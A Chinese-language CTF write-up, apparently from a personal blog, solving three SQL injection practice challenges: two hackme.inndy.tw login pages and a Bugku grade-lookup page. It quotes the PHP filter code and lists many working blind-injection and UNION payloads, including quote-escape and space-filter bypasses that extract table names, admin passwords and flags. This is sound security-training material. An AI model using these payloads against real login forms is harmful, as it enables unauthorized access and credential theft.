简单的三道Sqli习题
2019年3月14日14:35:27
一、Login as admin 0
URL:https://hackme.inndy.tw/login0/本题只有一个登陆页面,并且可以查看源码,源码中把过滤方法和sql语句以及表的字段都告诉了我们:
过滤:
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
过滤了几个需要权限的关键字,也不知道开放权限了没。最关键的是对'
替换成\'
比较关键。
SQL语句:
// user -> id, user, password, is_admin
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);
Flag显示判断:
<?php if($user->is_admin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2); ?>
所以只要能把单引号闭合了就可以为所欲为了,可是单引号被过滤了,如何去做呢?
解题思路:
- 找到闭合方式
- 已有表名和字段名,找到
is_admin=1
的字段的密码,即admin的密码
单引号被str_replace了怎么做?
四个思路:
-
如果数据库是GBK存储,可以利用宽字节注入:
将%df%27传入数据库,php会在%27前面添加%5c%,%df%5c在gbk里是一个字符,这样%27就能起到闭合的作用 -
该题是utf-8存储,不能用上法。尝试编码绕过:
- 多重url编码: %2527,%252527
- 16进制编码: %u0027
-
在尝试都失败之后,想到了如下方法:
%5c%27,php在插入%5c后会被之前的%5c转义,即可成功闭合
-
因为sql语句是:
SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'
可以在user参数内传入
\
,将第一个单引号转义,那么user的第一个单引号就会和password的第一个单引号闭合,从而可以给我们在password传入payload的可能。例如:
传入{`user`:admin\,`password`:or (select length(database()))>0 #}
代入sql语句就变为:
```SELECT * FROMuser
WHEREuser
=admin\
ANDpassword
=`or (select length(database()))>0 #````
爆破之路:
根据尝试可知道这是布尔盲注,比较麻烦,但也得一步一步来:(之后复盘发现是联合查询注入…虽然做的麻烦了些,但是就当是增强盲注能力了!)以下的爆破都是利用BP的Intruder模块完成,下次有相同需求时,还是用python方便些,但是bp可以多线程,跑的的快。
- 先搞清楚已知条件:表名,字段名,那么我们就直接爆
is_admin
为1的用户的password,-
先爆长度:
%5c%27 or (select length(password) from user where is_admin=1 limit 0,1)>0 %23 成功登陆,说明后面查询部分没有报错,开始爆破长度: %5c%27 or (select length(password) from user where is_admin=1 limit 0,1)="{dir}" %23
爆得长度为48
-
已知长度,爆内容:
%5c%27 or (select substring(password,{1~48},1) from user where is_admin=1 limit 0,1)="{dir}" %23 #推荐字典为`a~z`+`A~Z`+`0~9`+` `+`_`
爆得密码为
password length is the key to secure your system
-
- 尝试以用户名为admin登陆,登陆成功,获得第一个Flag:
FLAG{\' UNION SELECT "I Know SQL Injection" #}
,提示第二个flag在数据库里,继续爆 - 爆破数据库名
-
爆长度:
%5C%27 or (select length(database()))="{dir}" %23
爆得长度为15
-
爆内容:
%5C%27 or (select substring(database(),{1~15},1))="{dir}" %23 #注意爆内容时等号后面为“”
爆得内容为
login_as_admin0
-
- 爆破表名
-
爆表数量:
%5C%27 or (select count(*) from information_schema.tables where table_schema="login_as_admin0")="{dir}" %23
爆得数量为2,其中一个是user,我们已知
-
爆表长度:
通过limit,可知limit 1是user,于是我们爆limit 0%5C%27 or (select length(table_name) from information_schema.tables where table_schema="login_as_admin0"limit 0,1)="{dir}" %23
爆得长度为11
-
爆表名:
%5C%27 or (select substring(table_name,{1~11},1) from information_schema.tables where table_schema="login_as_admin0"limit 0,1)="{dir}" %23
爆得表名为
h1dden_fl4g
-
- 爆破列名
-
爆列数量:
%5C%27 or (select count(*) from information_schema.columns where table_name="h1dden_f14g")="{dir}" %23
爆得数量为1
-
爆列长度:
%5C%27 or (select length(column_name) from information_schema.columns where table_name="h1dden_f14g")="{dir}" %23
爆得长度为8
-
爆列名:
%5C%27 or (select substring(column_name,{1~8},1) from information_schema.columns where table_name="h1dden_f14g")="{dir}" %23
爆得列名为
the_f14g
-
- 爆破字段
-
爆字段长度:
建议先爆数量,此题数量为1%5C%27 or (select length(the_f14g) from h1dden_f14g)="{dir}" %23
爆得长度为50
-
爆字段内容:
%5C%27 or (select substring(the_f14g,{1~50},1) from h1dden_f14g)="{dir}" %23
爆得内容为
FLAG{Good,Union select is quite easy to exploit!}
-
至此,两个flag都获得了。
二、Login as admin 1
URL:https://hackme.inndy.tw/login1/题目二相比题目一,类型相似,同样给了源码,同样只有一个登陆页面,先来分析源码:
#过滤函数
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
#sql查询语句
$sql = sprintf("SELECT * FROM `%s` WHERE `name` = '%s' AND `password` = '%s'",
USER_TABLE,
$_POST['name'],
$_POST['password']
);
#字段名改为了isadmin
<?php if($user->isadmin) printf("<code>%s</code>, %s", htmlentities($flag1), $where_is_flag2); ?>
过滤了空格,两个单引号,union select
,select
,和对单引号进行转义。空格可以用%0a或者/**/绕过,单引号可以用上题方法,其他的过滤没什么作用。
解题思路:
解题思路和题目一相同,同样是布尔盲注。
-
先爆破数据库长度,数据库名:
name=admin&password=%5c%27/**/or/**/(select/**/length(database()))="15"/**/%23
得到数据库名:
login_as_admin1
-
再爆破表数量,长度,表名:
%5c%27/**/or/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="login_as_admin1"limit/**/0,1)>0/**/%23
得到两个表,表名为:
"0bdb54c98123f5526ccaed982d2006a9","users"
-
爆破
users
表中isadmin=1
的password
长度,内容:%5c%27/**/or/**/(select/**/length(password)/**/from/**/users/**/where/**/isadmin="1")>0/**/%23
爆得99位的paasword为:
I_have_super_long_password_but_you_dont_have_so_you_can_not_login_as_administrator_OwO.............
-
爆破
users
表中isadmin=1
的name
长度,内容:%5c%27/**/or/**/(select/**/length(name)/**/from/**/users/**/where/**/isadmin="1")>0/**/%23
爆得用户名为
r00t
-
登陆可得第一个Flag
FLAG{He110, Admin\\' or 1337 < 314159 #}
,提示第二个flag在数据库 -
爆破第一个表的列的数量,列名:
%5c%27/**/or/**/(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="0bdb54c98123f5526ccaed982d2006a9"limit/**/0,1)>0/**/%23
爆得两列为
{"id","4a391a11cfa831ca740cf8d00782f3a6"}
-
爆破
4a391a11cfa831ca740cf8d00782f3a6
列的长度,内容:%5c%27/**/or/**/(select/**/length(4a391a11cfa831ca740cf8d00782f3a6)/**/from/**/0bdb54c98123f5526ccaed982d2006a9/**/limit/**/0,1)>0/**/%23
爆得内容为:
FLAG{W0W, You found the correct table and the flag and UserAgent}
至此,两个flag都找到了。
三、学生成绩查询
URL:http://123.206.87.240:8002/chengjidan/最简单的一题,无过滤单引号闭合,联合查询注入
爆出数据库名skctf_flag
,表名fl4g,sc
,列名fl4g
,字段内容BUGKU{Sql_INJECT0N_4813drd8hz4}
结束
payload:0'union select 1,2,3,group_concat(skctf_flag) from fl4g#